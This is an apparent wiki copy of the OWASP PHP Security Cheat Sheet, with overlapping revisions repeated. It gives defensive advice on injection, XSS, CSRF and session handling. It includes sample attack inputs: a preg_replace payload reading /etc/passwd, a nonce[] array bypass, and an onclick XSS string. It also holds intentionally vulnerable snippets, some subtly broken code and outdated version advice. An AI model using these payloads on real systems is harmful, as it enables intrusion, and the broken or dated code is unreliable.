ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.

==Encoding Issues==

===Use UTF-8 unless necessary===
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

=Other Injection Cheat Sheet=
SQL aside, there are a few more injections possible ''and common'' in PHP:

==Shell Injection==
A few PHP functions namely

* shell_exec
* exec
* passthru
* system
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )

run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.

Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you.

==Code Injection==
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.

Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].

preg_replace("/.*/e","system('echo /etc/passwd')");

Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.

==Other Injections==
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.

=XSS Cheat Sheet=

There are two scenarios when it comes to XSS, each one to be mitigated accordingly:

== No Tags ==

Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.

If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.

Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.

If you cannot switch to a secure template engine, you can use the function below on all untrusted data.

'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.

//xss mitigation functions
function xssafe($data,$encoding='UTF-8')
{
return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);
}
function xecho($data)
{
echo xssafe($data);
}

//usage example
<input type='text' name='test' value='<?php
xecho ("' onclick='alert(1)");
?>' />

==Untrusted Tags==
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.

==Templating engines==

There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.

Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.

==Other Tips==

* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.

* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)

* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.

* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.

* Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256

* Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.

=CSRF Cheat Sheet=
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:

* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.

The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version would be available (hopefully). For now, mix that with the following tips:

* Use re-authentication for critical operations (change password, recovery email, etc.)
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.

=Authentication and Session Management Cheat Sheet=
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:

==Session Management==
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:

* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.

===Session Hijacking Prevention===
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.

To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:

$IP = getenv ( "REMOTE_ADDR" );

Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic. Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )

===Invalidate Session ID===
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).

===Rolling of Session ID===
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.

===Exposed Session ID===
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.

Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.

===Session Fixation===
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].

===Session Expiration===
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.

Also keep the '''log out''' button close, and unset all traces of the session on log out.

====Inactivity Timeout====
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria.

This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.

====General Timeout====
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.

===Cookies===
Handling cookies in a PHP script has some tricks to it:

====Never Serialize====
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.

====Proper Deletion====
To delete a cookie safely, use the following snippet:

setcookie ($name, "", 1);
setcookie ($name, false);
unset($_COOKIE[$name]);
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.

You can also use '''session_name()''' to retrieve the name default PHP session cookie.

====HTTP Only====
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.

To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):

#prototype
bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )

#usage
if (!setcookie("MySessionID", $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))
echo ("could not set HTTP-only cookie");

The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:

$r=setcookie("SECSESSID","1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973",time()+60*60*24*7 /*a week*/,"/","owasp.org",true,true);
if (!$r) die("Could not set session cookie.");

====Internet Explorer issues====
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.

==Authentication==

===Remember Me===
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.

It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.

* '''Never store username/password or any relevant information in the cookie.'''

=Cryptography Cheat Sheet=

=File Inclusion Cheat Sheet=

=Configuration and Deployment Cheat Sheet=
Please see [[PHP Configuration Cheat Sheet]].

=Sources of Taint=

= OLD. PHP General Guidelines for Secure Web Applications =

== PHP Version ==
Use '''PHP 5.3.8'''. Stable versions are always safer then the beta ones.

== Framework==
Use a framework like '''Zend''' or '''Symfony'''. Try not to re-write the code again and again. Also avoid dead codes.

== Directory==
Code with most of your code outside of the webroot. This is automatic for Symfony and Zend. Stick to these frameworks.

== Hashing Extension ==
Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256

== Cryptographic Extension ==
Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.

== Authentication and Authorization ==
There is no authentication or authorization classes in native PHP. Use '''ZF''' or '''Symfony''' instead.

== Input nput validation ==
Use $_dirty['foo'] = $_GET['foo'] and then $foo = validate_foo($dirty['foo']);

== Use PDO or ORM ==
Use PDO with prepared statements or an ORM like Doctrine

== Use PHP Unit and Jenkins ==
When developing PHP code, make sure you develop with PHP Unit and Jenkins - see http://qualityassuranceinphpprojects.com/pages/tools.html for more details.

== Use Stefan Esser's Hardened PHP Patch ==
Consider using Stefan Esser's Hardened PHP patch - http://www.hardened-php.net/suhosin/index.html
(not maintained now, but the concepts are very powerful)

== Avoid Global Variables==
In terms of secure coding with PHP, do not use globals unless absolutely necessary
Check your php.ini to ensure register_globals is off Do not run at all with this setting enabled It's extremely dangerous (register_globals has been disabled since 5.0 / 2006, but .... most PHP 4 code needs it, so many hosters have it turned on)

== Protection against RFI==
Ensure allow_url_fopen and allow_url_include are both disabled to protect against RFI But don't cause issues by using the pattern include $user_supplied_data or require "base" + $user_supplied_data - it's just unsafe as you can input /etc/passwd and PHP will try to include it

== Regexes (!)==
Watch for executable regexes (!)

== Session Rotation ==
Session rotation is very easy - just after authentication, plonk in session_regenerate_id() and you‘re done.

== Be aware of PHP filters ==
PHP filters can be tricky and complex. Be extra-conscious when using them.

== Logging ==
Set display_errors to 0, and set up logging to go to a file you control, or at least syslog. This is the most commonly neglected area of PHP configuration

== Output encoding ==
Output encoding is entirely up to you. Just do it, ESAPI for PHP is ready for this job.

These are transparent to you and you need to know about them. php://input: takes input from the console gzip: takes compressed input and might bypass input validation http://au2.php.net/manual/en/filters.php

= Authors and Primary Editors =

[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])

[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]

[mailto:vanderaj@owasp.org Andrew van der Stock]

= Other Cheatsheets =
{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]

PHP Security Cheat Sheet

2014-10-30T08:18:15Z

Luke Plant: Added items from 'OLD' section

= DRAFT CHEAT SHEET - WORK IN PROGRESS =
= Introduction =
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.

==PHP overview==

PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.

An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the latter. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.

Serious issues abound in all aspects of PHP, making it difficult to write secure PHP applications. If you’re forced to use PHP, then you must be aware of all its pitfalls.

===Language issues===

====Weak typing====

PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).

Try to use functions and operators that do not do implicit type conversions (e.g. <code>===</code> and not <code>==</code>). Not all operators have strict versions (for example greater than and less than), and many built-in functions (like <code>in_array</code>) use weakly typed comparison functions by default, making it difficult to write correct code.

====Exceptions and error handling====

Almost all PHP builtins, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In other languages, error conditions that are caused by developer errors, or runtime errors that the developer has failed to anticipate, will cause the program to stop running, which is the safest thing to do.

Consider the following code which limits attempts to limit access to a certain function using a database query that checks to see if the username is on a black list:

$db_link = mysqli_connect('localhost', 'dbuser', 'dbpassword', 'dbname');

function can_access_feature($current_user) {
global $db_link;
$username = mysqli_real_escape_string($db_link, $current_user->username);
$res = mysqli_query($db_link, "SELECT COUNT(id) FROM blacklisted_users WHERE username = '$username';");
$row = mysqli_fetch_array($res);
if ((int)$row[0] > 0) {
return false;
} else {
return true;
}
}

if (!can_access_feature($current_user)) {
exit();
}

// Code for feature here

There are various runtime errors that could occur in this - for example, the database connection could fail, due to a wrong password or the server being down etc., or the connection could be closed by the server after it was opened client side. In these cases, by default the <code>mysqli_</code> functions will issue warnings or notices, but will not throw exceptions or fatal errors. This means that the code simply carries on! The variable <code>$row</code> becomes <code>NULL</code>, and PHP will evaluate <code>$row[0]</code> also as <code>NULL</code>, and <code>(int)$row[0]</code> as <code>0</code>, due to weak typing. Eventually the <code>can_access_feature</code> function returns <code>true</code>, giving access to all users, whether they are on the blacklist or not.

The correct way to deal with this is to add error checking at every point. However, since this requires additional work, and is easily missed, this is insecure by default. It also requires a lot of boilerplate. While PHP in some ways appears to be a high-level language, when it comes to errors it is a low-level language like C, and requires diligent checking of many possibly error conditions. This makes it much harder to write secure code using PHP than with other high-level languages that are normally used for web development.

It is often best to turn up error reporting as high as possible using the
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.

====php.ini====

The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”

====Unhelpful builtins====

PHP comes with many built-in functions, such as <code>addslashes</code>, <code>mysql_escape_string</code> and
<code>mysql_real_escape_string</code>, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems.

Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.

===Framework issues===

====URL routing====

PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:

* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename are appropriately sanitised.

* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use <code>.htaccess</code> to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.

====Input handling====

Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a "one time nonce" mechanism that might be used, for example in a password reset code:

$supplied_nonce = $_GET['nonce'];
$correct_nonce = get_correct_value_somehow();

if (strcmp($supplied_nonce, $correct_nonce) == 0) {
// Go ahead and reset the password
} else {
echo 'Sorry, incorrect link';
}

If an attacker uses a querystring like this:

http://example.com/?nonce[]=a

then we end up with <code>$supplied_nonce</code> being an array. The function <code>strcmp()</code> will then return <code>NULL</code> (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the <code>==</code> (equality) operator instead of the <code>===</code> (identity) operator, the comparison succeeds (since the expression <code>NULL == 0</code> is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.

====Template language====

PHP is essentially a template language. However, it doesn't do HTML escaping by
default, which makes it very problematic for use in a web application - see
section on XSS below.

====Other inadequacies====

There are other important things that a web framework should supply, such as a
CSRF protection mechanism that is on by default. Because PHP comes with a
rudimentary web framework that is functional enough to allow people to create
web sites, many people will do so without any knowledge that they need CSRF
protection.

===Third party PHP code===

Libraries and projects written in PHP are often insecure due to the problems
highlighted above, especially when proper web frameworks are not used. Do not
trust PHP code that you find on the web, as many security vulnerabilities can
hide in seemingly innocent code.

Poorly written PHP code often results in warnings being emitted, which can cause
problems. A common solution is to turn off all notices, which is exactly the opposite
of what ought to be done (see above), and leads to progressively worse code.

==Update PHP Now==
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''

Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.

=Configuration=

The behaviour of PHP is strongly affected by configuration, which can be done through the "php.ini" file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php

There are many security related configuration options. Some are listed below:

==SetHandler==

PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name "foo.php.txt" will be handled as PHP code, which can be a very serious remote execution vulnerability if "foo.php.txt" was not intended to be executed (e.g. example code) or came from a malicious file upload.

=Untrusted data=
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.

Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).

==File uploads==

Files received from a user pose various security threats, especially if other users can download these files. In particular:

* Any file served as HTML can be used to do an XSS attack
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.

Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.

==Common mistakes on the processing of $_FILES array==
It is common to find code snippets online doing something similar to the following code:

if ($_FILES['some_name']['type'] == 'image/jpeg') {
//Proceed to accept the file as a valid image
}

However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.

$finfo = new finfo(FILEINFO_MIME_TYPE);
$fileContents = file_get_contents($_FILES['some_name']['tmp_name']);
$mimeType = $finfo->buffer($fileContents);

Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.

==Use of $_REQUEST==
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.

=Database Cheat Sheet=
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:

==Never concatenate or interpolate data in SQL==

Never build up a string of SQL that includes user data, either by concatenation:

$sql = "SELECT * FROM users WHERE username = '" . $username . "';";

or interpolation, which is essentially the same:

$sql = "SELECT * FROM users WHERE username = '$username';";

If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.

==Escaping is not safe==
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.

'''Why:'''
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).

==Use Prepared Statements==
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was.

====MySQLi Prepared Statements Wrapper====
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

function SQL($Query) {
global $DB;
$args = func_get_args();
if (count($args) == 1) {
$result = $DB->query($Query);
if ($result->num_rows) {
$out = array();
while (null != ($r = $result->fetch_array(MYSQLI_ASSOC)))
$out [] = $r;
return $out;
}
return null;
} else {
if (!$stmt = $DB->prepare($Query))
trigger_error("Unable to prepare statement: {$Query}, reason: " . $DB->error . "");
array_shift($args); //remove $Query from args
//the following three lines are the only way to copy an array values in PHP
$a = array();
foreach ($args as $k => &$v)
$a[$k] = &$v;
$types = str_repeat("s", count($args)); //all params are strings, works well on MySQL and SQLite
array_unshift($a, $types);
call_user_func_array(array($stmt, 'bind_param'), $a);
$stmt->execute();
//fetching all results in a 2D array
$metadata = $stmt->result_metadata();
$out = array();
$fields = array();
if (!$metadata)
return null;
$length = 0;
while (null != ($field = mysqli_fetch_field($metadata))) {
$fields [] = &$out [$field->name];
$length+=$field->length;
}
call_user_func_array(array(
$stmt, "bind_result"
), $fields);
$output = array();
$count = 0;
while ($stmt->fetch()) {
foreach ($out as $k => $v)
$output [$count] [$k] = $v;
$count++;
}
$stmt->free_result();
return ($count == 0) ? null : $output;
}
}

Now you could do your every query like the example below:

$res=SQL("SELECT * FROM users WHERE ID>? ORDER BY ? ASC LIMIT ?" , 5 , "Username" , 2);

Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.

'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.

====PDO Prepared Statement Wrapper====
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.

try {
$DB = new PDO("{$Driver}:dbname={$DatabaseName};host={$Host};", $Username, $Password);
} catch (Exception $e) {
trigger_error("PDO connection error: " . $e->getMessage());
}

function SQL($Query) {
global $DB;
$args = func_get_args();
if (count($args) == 1) {
$result = $DB->query($Query);
if ($result->rowCount()) {
return $result->fetchAll(PDO::FETCH_ASSOC);
}
return null;
} else {
if (!$stmt = $DB->prepare($Query)) {
$Error = $DB->errorInfo();
trigger_error("Unable to prepare statement: {$Query}, reason: {$Error[2]}");
}
array_shift($args); //remove $Query from args
$i = 0;
foreach ($args as &$v)
$stmt->bindValue(++$i, $v);
$stmt->execute();
return $stmt->fetchAll(PDO::FETCH_ASSOC);
}
}

$res=SQL("SELECT * FROM users WHERE ID>? ORDER BY ? ASC LIMIT 5" , 5 , "Username" );

===Where prepared statements do not work===
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:

====Not Supported Fields====
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:

function whitelist($Needle,$Haystack)
{
if (!in_array($Needle,$Haystack))
return reset($Haystack); //first element
return $Needle;
}

$Limit = $_GET['lim'];
$Limit = $Limit * 1; //type cast, integers are safe

$Order = $_GET['sort'];
$Order=whitelist($Order,Array("ID","Username","Password"));

This is very important. If you think you're tired and you rather blacklist than whitelist, you’re bound to fail.

====Dynamic Queries====
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.

When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:

$Query="SELECT * FROM table WHERE ";
foreach ($_GET['fields'] as $g)
$Query.=whitelist($g,Array("list","of","possible","fields","here"))."=?";
$Values=$_GET['values'];
array_unshift($Query); //add to the beginning
$res=call_user_func_array(SQL, $Values);

==ORM==
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.

==Encoding Issues==

===Use UTF-8 unless necessary===
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

=Other Injection Cheat Sheet=
SQL aside, there are a few more injections possible ''and common'' in PHP:

==Shell Injection==
A few PHP functions namely

* shell_exec
* exec
* passthru
* system
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )

run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.

Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you.

==Code Injection==
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.

Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].

preg_replace("/.*/e","system('echo /etc/passwd')");

Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.

==Other Injections==
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.

=XSS Cheat Sheet=

There are two scenarios when it comes to XSS, each one to be mitigated accordingly:

== No Tags ==

Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.

If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.

Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.

If you cannot switch to a secure template engine, you can use the function below on all untrusted data.

'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.

//xss mitigation functions
function xssafe($data,$encoding='UTF-8')
{
return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);
}
function xecho($data)
{
echo xssafe($data);
}

//usage example
<input type='text' name='test' value='<?php
xecho ("' onclick='alert(1)");
?>' />

==Untrusted Tags==
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.

==Templating engines==

